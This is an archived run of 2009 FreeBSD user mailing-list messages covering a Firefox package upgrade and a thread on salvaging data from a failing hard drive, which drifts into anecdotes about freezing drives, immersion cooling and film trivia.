<20090826103209.GA1127@ideapad.piggybox> <20090826103748.2e9fb2ae@scorpio.seibercom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20090826103748.2e9fb2ae@scorpio.seibercom.net> User-Agent: Mutt/1.4.2.3i X-Cloudmark-Analysis: v=1.0 c=1 a=8RloEfZUAAAA:8 a=CjxXgO3LAAAA:8 a=6I5d2MoRAAAA:8 a=Q0Hu2VTu4yTNtmUJZrgA:9 a=yvklsNhwQOyp6YdOGfsA:7 a=u5mYRl6kFQVH9B90QUvjkVbSAGAA:4 a=ibDXE6bhmzUA:10 a=O58u2wXj750A:10 a=rC2wZJ5BpNYA:10 a=SV7veod9ZcQA:10 Subject: Re: Firefox 3.5... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 18:36:37 -0000 Wednesday, 26 August 2009 at 10:37:48 -0400, Jerry said: > On Wed, 26 Aug 2009 11:32:09 +0100 > Peter Harrison wrote: > > > I've Firefox 3.0.11,1 on my 7.2-release system at the moment. Anyone > > offer some advice on moving up to 3.5? > > > > Is it as simple as pkg_delete'ing 3.0 and then installing 3.5? > > I used: pkg_delete -dfv Firefox 3.0.11,1 > > It worked fine. Then build and install the new version. Depending on > how you manage your ports, you might need to run something like: > "pkgdb -Ffuv" after installing the new port. Thanks Jerry. I tend to build ports on one machine and then install packages on another so I'll be doing it with packages, but thanks for the info. Peter. > > > -- > Jerry > gesbbb@yahoo.com > > Parts that positively cannot be assembled in improper order will be. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 19:13:49 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 97A07106568B for ; Wed, 26 Aug 2009 19:13:49 +0000 (UTC) (envelope-from freebsd@optimis.net) Received: from mail.optimis.net (mail.optimis.net [69.104.191.124]) by mx1.freebsd.org (Postfix) with ESMTP id 68B838FC1C for ; Wed, 26 Aug 2009 19:13:49 +0000 (UTC) Received: from marvin.optimis.net (marvin.optimis.net [192.168.1.3]) by mail.optimis.net (8.14.3/8.14.2) with ESMTP id n7QJDmri037614 for ; Wed, 26 Aug 2009 12:13:49 -0700 (PDT) (envelope-from freebsd@optimis.net) Received: from marvin.optimis.net (localhost [127.0.0.1]) by marvin.optimis.net (8.14.3/8.14.3) with ESMTP id n7QJDmNA088161 for ; Wed, 26 Aug 2009 12:13:48 -0700 (PDT) (envelope-from freebsd@optimis.net) Received: (from george@localhost) by marvin.optimis.net (8.14.3/8.14.3/Submit) id n7QJDmFY088160 for freebsd-questions@freebsd.org; Wed, 26 Aug 2009 12:13:48 -0700 (PDT) (envelope-from freebsd@optimis.net) Date: Wed, 26 Aug 2009 12:13:48 -0700 From: George Davidovich To: freebsd-questions@freebsd.org Message-ID: <20090826191348.GA85581@marvin.optimis.net> References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <20090824223247.GD43410@slackbox.xs4all.nl> <1338880b0908252246s21191e83k7c251366b706532@mail.gmail.com> <20090826180741.GA23120@slackbox.xs4all.nl> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20090826180741.GA23120@slackbox.xs4all.nl> User-Agent: Mutt/1.5.19 (2009-01-05) Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 19:13:49 -0000 On Wed, Aug 26, 2009 at 08:07:41PM +0200, Roland Smith wrote: > On Tue, Aug 25, 2009 at 11:46:50PM -0600, Kelly Martin wrote: > > plugging the drive in and accessing it, I heard those tell-tale > > signs of hard drive failure: clicks and pops and other unusual > > noises, so I know that it has some damage. I hate those sounds, > > having heard them on failing drives too many times before. > > If the drive is that bad, it is doubtfull if dd or ddrescue will be > able to get a good copy. Probably true. I hesitate to suggest this, but sticking the drive in a freezer (preferrably in a ziplock bag) for a few hours or overnight might help. Stories from people claiming "I swear it works!" go back years. To the exent it does work, it might give Kelly enough time to attempt recovery. If more time is required, he can try and find a creative workaround for the 5 meter max length for USB cables. Also, experimenting with dry ice or acetone baths might prove to be interesting, or at least educational. ;-) -- George From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 20:23:51 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 095DD106568B for ; Wed, 26 Aug 2009 20:23:51 +0000 (UTC) (envelope-from rsmith@xs4all.nl) Received: from smtp-vbr1.xs4all.nl (smtp-vbr1.xs4all.nl [194.109.24.21]) by mx1.freebsd.org (Postfix) with ESMTP id 76BAA8FC29 for ; Wed, 26 Aug 2009 20:23:50 +0000 (UTC) Received: from slackbox.xs4all.nl (slackbox.xs4all.nl [213.84.242.160]) by smtp-vbr1.xs4all.nl (8.13.8/8.13.8) with ESMTP id n7QKNm84052047; Wed, 26 Aug 2009 22:23:48 +0200 (CEST) (envelope-from rsmith@xs4all.nl) Received: by slackbox.xs4all.nl (Postfix, from userid 1001) id EA512BA9D; Wed, 26 Aug 2009 22:23:47 +0200 (CEST) Date: Wed, 26 Aug 2009 22:23:47 +0200 From: Roland Smith To: George Davidovich Message-ID: <20090826202347.GA27093@slackbox.xs4all.nl> References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <20090824223247.GD43410@slackbox.xs4all.nl> <1338880b0908252246s21191e83k7c251366b706532@mail.gmail.com> <20090826180741.GA23120@slackbox.xs4all.nl> <20090826191348.GA85581@marvin.optimis.net> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="FL5UXtIhxfXey3p5" Content-Disposition: inline In-Reply-To: <20090826191348.GA85581@marvin.optimis.net> X-GPG-Fingerprint: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 X-GPG-Key: http://www.xs4all.nl/~rsmith/pubkey.txt X-GPG-Notice: If this message is not signed, don't assume I sent it! User-Agent: Mutt/1.5.20 (2009-06-14) X-Virus-Scanned: by XS4ALL Virus Scanner Cc: freebsd-questions@freebsd.org Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 20:23:51 -0000 --FL5UXtIhxfXey3p5 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Aug 26, 2009 at 12:13:48PM -0700, George Davidovich wrote: > > If the drive is that bad, it is doubtfull if dd or ddrescue will be > > able to get a good copy. >=20 > Probably true. I hesitate to suggest this, but sticking the drive in a > freezer (preferrably in a ziplock bag) for a few hours or overnight > might help. Stories from people claiming "I swear it works!" go back > years. =20 Interesting. > To the exent it does work, it might give Kelly enough time to attempt > recovery. If more time is required, he can try and find a creative > workaround for the 5 meter max length for USB cables. Also, > experimenting with dry ice or acetone baths might prove to be > interesting, or at least educational. ;-) Acetone and electronics are _not_ a good mix! Acetone is extremely flammable. It evaporates easily and can form explosive mixtures in air over= a wide range of concentrations. Not to mention that it would degrade/destroy printed circuit boards; acetone breaks down the resin that binds the glass fibers in the laminates! Not as fast as n-Methyl-2-pyrrolidone, bus fast enough. I remember this special non-condictive 3M fluid that can be used to cool electronics. A group of hackers dunked a complete PC minus the case and pow= er supply in this stuff. The fluid itself was cooled with liquid nitrogen. They everclocked it something wicked. Not very practical though. :-) Roland --=20 R.F.Smith http://www.xs4all.nl/~rsmith/ [plain text _non-HTML_ PGP/GnuPG encrypted/signed email much appreciated] pgp: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 (KeyID: C321A725) --FL5UXtIhxfXey3p5 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.12 (FreeBSD) iEYEARECAAYFAkqVmdMACgkQEnfvsMMhpyWt+ACcDYO7P9uPS9M9l8NoEsnstQs2 zXoAn2EGki2UmB5q+Ca9yBvo9UsbtRFG =Piws -----END PGP SIGNATURE----- --FL5UXtIhxfXey3p5-- From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 20:49:17 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 05851106568E for ; Wed, 26 Aug 2009 20:49:17 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (gizmo.acns.msu.edu [35.8.1.43]) by mx1.freebsd.org (Postfix) with ESMTP id A17A48FC36 for ; Wed, 26 Aug 2009 20:49:16 +0000 (UTC) Received: from gizmo.acns.msu.edu (localhost [127.0.0.1]) by gizmo.acns.msu.edu (8.13.6/8.13.6) with ESMTP id n7QKjexR024704; Wed, 26 Aug 2009 16:45:40 -0400 (EDT) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: (from jerrymc@localhost) by gizmo.acns.msu.edu (8.13.6/8.13.6/Submit) id n7QKjevI024703; Wed, 26 Aug 2009 16:45:40 -0400 (EDT) (envelope-from jerrymc) Date: Wed, 26 Aug 2009 16:45:40 -0400 From: Jerry McAllister To: Roland Smith Message-ID: <20090826204539.GC24590@gizmo.acns.msu.edu> References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <20090824223247.GD43410@slackbox.xs4all.nl> <1338880b0908252246s21191e83k7c251366b706532@mail.gmail.com> <20090826180741.GA23120@slackbox.xs4all.nl> <20090826191348.GA85581@marvin.optimis.net> <20090826202347.GA27093@slackbox.xs4all.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20090826202347.GA27093@slackbox.xs4all.nl> User-Agent: Mutt/1.4.2.2i Cc: George Davidovich , freebsd-questions@freebsd.org Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 20:49:17 -0000 On Wed, Aug 26, 2009 at 10:23:47PM +0200, Roland Smith wrote: > On Wed, Aug 26, 2009 at 12:13:48PM -0700, George Davidovich wrote: > > > > If the drive is that bad, it is doubtfull if dd or ddrescue will be > > > able to get a good copy. > > > > Probably true. I hesitate to suggest this, but sticking the drive in a > > freezer (preferrably in a ziplock bag) for a few hours or overnight > > might help. Stories from people claiming "I swear it works!" go back > > years. > > Interesting. > > > To the exent it does work, it might give Kelly enough time to attempt > > recovery. If more time is required, he can try and find a creative > > workaround for the 5 meter max length for USB cables. Also, > > experimenting with dry ice or acetone baths might prove to be > > interesting, or at least educational. ;-) > > > I remember this special non-condictive 3M fluid that can be used to cool > electronics. A group of hackers dunked a complete PC minus the case and power > supply in this stuff. The fluid itself was cooled with liquid nitrogen. They > everclocked it something wicked. Not very practical though. :-) A number of supercomputers from Cray and Control Data and maybe some other places used this sort of thing on some experimental systems. I don't know if any ever were put in to commercial production. They submerged who boards in to it and then supercooled the fluid. I don't remember the chemical names. The fluid was a relative of Freon and held sufficient levels of oxygen to support lung breathers. They used to have a tank with a live mouse submerged in it bouncing around and seeming to have no trouble not choking or drowning. A variation of it was also researched as a blood substitute for some special medical needs. I don't know how far that went. I know it is not all fantasy because I saw the live mouse. I didn't try the blood substitute. ////jerry > > Roland > -- > R.F.Smith http://www.xs4all.nl/~rsmith/ > [plain text _non-HTML_ PGP/GnuPG encrypted/signed email much appreciated] > pgp: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 (KeyID: C321A725) From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 21:13:20 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CB2AF106568C for ; Wed, 26 Aug 2009 21:13:20 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx01.qsc.de (mx01.qsc.de [213.148.129.14]) by mx1.freebsd.org (Postfix) with ESMTP id 887C38FC2C for ; Wed, 26 Aug 2009 21:13:20 +0000 (UTC) Received: from r55.edvax.de (port-92-195-1-225.dynamic.qsc.de [92.195.1.225]) by mx01.qsc.de (Postfix) with ESMTP id F06033CCF8; Wed, 26 Aug 2009 23:13:19 +0200 (CEST) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id n7QLDIuY002460; Wed, 26 Aug 2009 23:13:18 +0200 (CEST) (envelope-from freebsd@edvax.de) Date: Wed, 26 Aug 2009 23:13:18 +0200 From: Polytropon To: George Davidovich Message-Id: <20090826231318.3c924090.freebsd@edvax.de> In-Reply-To: <20090826191348.GA85581@marvin.optimis.net> References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <20090824223247.GD43410@slackbox.xs4all.nl> <1338880b0908252246s21191e83k7c251366b706532@mail.gmail.com> <20090826180741.GA23120@slackbox.xs4all.nl> <20090826191348.GA85581@marvin.optimis.net> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 21:13:20 -0000 On Wed, 26 Aug 2009 12:13:48 -0700, George Davidovich wrote: > Probably true. I hesitate to suggest this, but sticking the drive in a > freezer (preferrably in a ziplock bag) for a few hours or overnight > might help. Stories from people claiming "I swear it works!" go back > years. I heared a similar suggestion from a guy who tried to get the protection code out of a car radio. :-) > To the exent it does work, it might give Kelly enough time to attempt > recovery. If more time is required, he can try and find a creative > workaround for the 5 meter max length for USB cables. 5 meters? I always thought USB is specified for 2 meters only. I've never seen a 5 meters long USB cable, by the way. -- Polytropon Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 21:14:52 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B95DC106568C for ; Wed, 26 Aug 2009 21:14:52 +0000 (UTC) (envelope-from freebsd@optimis.net) Received: from mail.optimis.net (mail.optimis.net [69.104.191.124]) by mx1.freebsd.org (Postfix) with ESMTP id 6A2908FC35 for ; Wed, 26 Aug 2009 21:14:52 +0000 (UTC) Received: from marvin.optimis.net (marvin.optimis.net [192.168.1.3]) by mail.optimis.net (8.14.3/8.14.2) with ESMTP id n7QLEpA8038822 for ; Wed, 26 Aug 2009 14:14:51 -0700 (PDT) (envelope-from freebsd@optimis.net) Received: from marvin.optimis.net (localhost [127.0.0.1]) by marvin.optimis.net (8.14.3/8.14.3) with ESMTP id n7QLEpPu089326 for ; Wed, 26 Aug 2009 14:14:51 -0700 (PDT) (envelope-from freebsd@optimis.net) Received: (from george@localhost) by marvin.optimis.net (8.14.3/8.14.3/Submit) id n7QLEp3n089325 for freebsd-questions@freebsd.org; Wed, 26 Aug 2009 14:14:51 -0700 (PDT) (envelope-from freebsd@optimis.net) Date: Wed, 26 Aug 2009 14:14:51 -0700 From: George Davidovich To: freebsd-questions@freebsd.org Message-ID: <20090826211451.GA88786@marvin.optimis.net> References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <20090824223247.GD43410@slackbox.xs4all.nl> <1338880b0908252246s21191e83k7c251366b706532@mail.gmail.com> <20090826180741.GA23120@slackbox.xs4all.nl> <20090826191348.GA85581@marvin.optimis.net> <20090826202347.GA27093@slackbox.xs4all.nl> <20090826204539.GC24590@gizmo.acns.msu.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20090826204539.GC24590@gizmo.acns.msu.edu> User-Agent: Mutt/1.5.19 (2009-01-05) Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 21:14:52 -0000 On Wed, Aug 26, 2009 at 04:45:40PM -0400, Jerry McAllister wrote: > On Wed, Aug 26, 2009 at 10:23:47PM +0200, Roland Smith wrote: > > > On Wed, Aug 26, 2009 at 12:13:48PM -0700, George Davidovich wrote: I > > remember this special non-condictive 3M fluid that can be used to > > cool electronics. A group of hackers dunked a complete PC minus the > > case and power supply in this stuff. The fluid itself was cooled > > with liquid nitrogen. They everclocked it something wicked. Not very > > practical though. :-) > > A number of supercomputers from Cray and Control Data and maybe some > other places used this sort of thing on some experimental systems. I > don't know if any ever were put in to commercial production. They > submerged who boards in to it and then supercooled the fluid. I > don't remember the chemical names. I do, but have no idea why. http://en.wikipedia.org/wiki/Perfluorohexane > The fluid was a relative of Freon and held sufficient levels of oxygen > to support lung breathers. They used to have a tank with a live mouse > submerged in it bouncing around and seeming to have no trouble not > choking or drowning. > A variation of it was also researched as a blood substitute for some > special medical needs. I don't know how far that went. I know it > is not all fantasy because I saw the live mouse. I believe you. I saw a similar scene in a movie, so I already knew it had to be true. Bonus points for anyone that can add to this thread's collection of off-topic but semi-interesting trivia and name the movie. > I didn't try the blood substitute. How do you save a drowning mouse? Use mouse to mouse resuscitation. Thanks, I'll be here all week. Try the veal instead. -- George From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 21:23:11 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B5C6F1065690 for ; Wed, 26 Aug 2009 21:23:11 +0000 (UTC) (envelope-from archon@silvertree.org) Received: from arthur.silvertree.org (arthur.silvertree.org [173.11.101.153]) by mx1.freebsd.org (Postfix) with SMTP id 799D28FC25 for ; Wed, 26 Aug 2009 21:23:11 +0000 (UTC) Received: (qmail 19083 invoked from network); 26 Aug 2009 14:23:10 -0700 Received: from webn1.ofoto.com (HELO ?192.168.62.44?) (66.128.224.196) by arthur.silvertree.org with SMTP; 26 Aug 2009 14:23:10 -0700 Message-Id: From: Scott Schappell To: freebsd-questions@freebsd.org In-Reply-To: <20090826211451.GA88786@marvin.optimis.net> Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v936) Date: Wed, 26 Aug 2009 14:23:10 -0700 References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <20090824223247.GD43410@slackbox.xs4all.nl> <1338880b0908252246s21191e83k7c251366b706532@mail.gmail.com> <20090826180741.GA23120@slackbox.xs4all.nl> <20090826191348.GA85581@marvin.optimis.net> <20090826202347.GA27093@slackbox.xs4all.nl> <20090826204539.GC24590@gizmo.acns.msu.edu> <20090826211451.GA88786@marvin.optimis.net> X-Mailer: Apple Mail (2.936) Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 21:23:11 -0000 On Aug 26, 2009, at 14:14:51, George Davidovich wrote: > I believe you. I saw a similar scene in a movie, so I already knew it > had to be true. Bonus points for anyone that can add to this thread's > collection of off-topic but semi-interesting trivia and name the > movie. What is "The Abyss" for 1000, Alex? :) Scott From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 21:31:22 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C2881106568B for ; Wed, 26 Aug 2009 21:31:22 +0000 (UTC) (envelope-from Ggatten@waddell.com) Received: from mailhost0.waddell.com (mailhost0.waddell.com [12.154.38.61]) by mx1.freebsd.org (Postfix) with ESMTP id 881328FC21 for ; Wed, 26 Aug 2009 21:31:22 +0000 (UTC) Received: from mailhost2.waddell.com (mailhost2.waddell.com [10.1.10.30]) by mailhost0.waddell.com (8.13.8/8.13.8) with ESMTP id n7QLV8Zr025719; Wed, 26 Aug 2009 16:31:08 -0500 (CDT) (envelope-from Ggatten@waddell.com) Received: from mailhost2.waddell.com (localhost [127.0.0.1]) by localhost (Postfix) with SMTP id AE03D10DCED; Wed, 26 Aug 2009 16:31:07 -0500 (CDT) Received: from wadpexf0.waddell.com (wadpexf0.waddell.com [192.168.204.24]) by mailhost2.waddell.com (Postfix) with ESMTP id 6293510DCF4; Wed, 26 Aug 2009 16:31:07 -0500 (CDT) Received: from WADPEXV0.waddell.com ([192.168.204.25]) by wadpexf0.waddell.com with Microsoft SMTPSVC(6.0.3790.3959); Wed, 26 Aug 2009 16:31:06 -0500 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Wed, 26 Aug 2009 16:30:59 -0500 Message-ID: <70C0964126D66F458E688618E1CD008A0793F4F6@WADPEXV0.waddell.com> In-Reply-To: <20090826231318.3c924090.freebsd@edvax.de> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: hard disk failure - now what? Thread-Index: AcomkiAtU4CMS9hsSoGsQ/ihvhuJYgAAi4/A References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com><20090824223247.GD43410@slackbox.xs4all.nl><1338880b0908252246s21191e83k7c251366b706532@mail.gmail.com><20090826180741.GA23120@slackbox.xs4all.nl><20090826191348.GA85581@marvin.optimis.net> <20090826231318.3c924090.freebsd@edvax.de> From: "Gary Gatten" To: "Polytropon" , "George Davidovich" X-OriginalArrivalTime: 26 Aug 2009 21:31:06.0585 (UTC) FILETIME=[853CCC90:01CA2694] Cc: freebsd-questions@freebsd.org Subject: RE: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 21:31:22 -0000 I had a laptop years ago that started to die, but seemed to work OK when first removed from a cold car. After an hour or so it would die. I eventually put it in the freezer long enough to get what I needed off the drive, so in some cases I would agree that cold is good! -----Original Message----- From: owner-freebsd-questions@freebsd.org [mailto:owner-freebsd-questions@freebsd.org] On Behalf Of Polytropon Sent: Wednesday, August 26, 2009 4:13 PM To: George Davidovich Cc: freebsd-questions@freebsd.org Subject: Re: hard disk failure - now what? On Wed, 26 Aug 2009 12:13:48 -0700, George Davidovich wrote: > Probably true. I hesitate to suggest this, but sticking the drive in a > freezer (preferrably in a ziplock bag) for a few hours or overnight > might help. Stories from people claiming "I swear it works!" go back > years.=20=20 I heared a similar suggestion from a guy who tried to get the protection code out of a car radio. :-) > To the exent it does work, it might give Kelly enough time to attempt > recovery. If more time is required, he can try and find a creative > workaround for the 5 meter max length for USB cables.=20 5 meters? I always thought USB is specified for 2 meters only. I've never seen a 5 meters long USB cable, by the way. --=20 Polytropon Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... _______________________________________________ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org"
"This email is intended to be reviewed by only the intended recipient and may contain information that is privileged and/or confidential. If you are not the intended recipient, you are hereby notified that any review, use, dissemination, disclosure or copying of this email and its attachments, if any, is strictly prohibited. If you have received this email in error, please immediately notify the sender by return email and delete this email from your system."
From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 22:38:58 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 40AD41065693 for ; Wed, 26 Aug 2009 22:38:58 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (gizmo.acns.msu.edu [35.8.1.43]) by mx1.freebsd.org (Postfix) with ESMTP id DBD4D8FC26 for ; Wed, 26 Aug 2009 22:38:57 +0000 (UTC) Received: from gizmo.acns.msu.edu (localhost [127.0.0.1]) by gizmo.acns.msu.edu (8.13.6/8.13.6) with ESMTP id n7QMZLIq025089; Wed, 26 Aug 2009 18:35:21 -0400 (EDT) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: (from jerrymc@localhost) by gizmo.acns.msu.edu (8.13.6/8.13.6/Submit) id n7QMZLtw025088; Wed, 26 Aug 2009 18:35:21 -0400 (EDT) (envelope-from jerrymc) Date: Wed, 26 Aug 2009 18:35:21 -0400 From: Jerry McAllister To: George Davidovich Message-ID: <20090826223520.GA25056@gizmo.acns.msu.edu> References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <20090824223247.GD43410@slackbox.xs4all.nl> <1338880b0908252246s21191e83k7c251366b706532@mail.gmail.com> <20090826180741.GA23120@slackbox.xs4all.nl> <20090826191348.GA85581@marvin.optimis.net> <20090826202347.GA27093@slackbox.xs4all.nl> <20090826204539.GC24590@gizmo.acns.msu.edu> <20090826211451.GA88786@marvin.optimis.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20090826211451.GA88786@marvin.optimis.net> User-Agent: Mutt/1.4.2.2i Cc: freebsd-questions@freebsd.org Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 22:38:58 -0000 On Wed, Aug 26, 2009 at 02:14:51PM -0700, George Davidovich wrote: > > > > A number of supercomputers from Cray and Control Data and maybe some > > other places used this sort of thing on some experimental systems. I > > don't know if any ever were put in to commercial production. They > > submerged who boards in to it and then supercooled the fluid. I > > don't remember the chemical names. > > I do, but have no idea why. > > http://en.wikipedia.org/wiki/Perfluorohexane > > > The fluid was a relative of Freon and held sufficient levels of oxygen > > to support lung breathers. They used to have a tank with a live mouse > > submerged in it bouncing around and seeming to have no trouble not > > choking or drowning. > > > A variation of it was also researched as a blood substitute for some > > special medical needs. I don't know how far that went. I know it > > is not all fantasy because I saw the live mouse. > > I believe you. I saw a similar scene in a movie, so I already knew it > had to be true. Bonus points for anyone that can add to this thread's > collection of off-topic but semi-interesting trivia and name the movie. I vaguely remember a movie with it in, but I saw it in person at Cray headquarters back when. > > > I didn't try the blood substitute. > > How do you save a drowning mouse? > Use mouse to mouse resuscitation. > > Thanks, I'll be here all week. Try the veal instead. Only with the asparagus. ////jerry > > -- > George > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 22:53:41 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 85C42106568E for ; Wed, 26 Aug 2009 22:53:41 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx01.qsc.de (mx01.qsc.de [213.148.129.14]) by mx1.freebsd.org (Postfix) with ESMTP id 4274A8FC22 for ; Wed, 26 Aug 2009 22:53:41 +0000 (UTC) Received: from r55.edvax.de (port-92-195-1-225.dynamic.qsc.de [92.195.1.225]) by mx01.qsc.de (Postfix) with ESMTP id D6EB33CC03; Thu, 27 Aug 2009 00:53:40 +0200 (CEST) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id n7QMrd2d002798; Thu, 27 Aug 2009 00:53:39 +0200 (CEST) (envelope-from freebsd@edvax.de) Date: Thu, 27 Aug 2009 00:53:39 +0200 From: Polytropon To: "Gary Gatten" Message-Id: <20090827005339.e2cafb97.freebsd@edvax.de> In-Reply-To: <70C0964126D66F458E688618E1CD008A0793F4F6@WADPEXV0.waddell.com> References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <20090824223247.GD43410@slackbox.xs4all.nl> <1338880b0908252246s21191e83k7c251366b706532@mail.gmail.com> <20090826180741.GA23120@slackbox.xs4all.nl> <20090826191348.GA85581@marvin.optimis.net> <20090826231318.3c924090.freebsd@edvax.de> 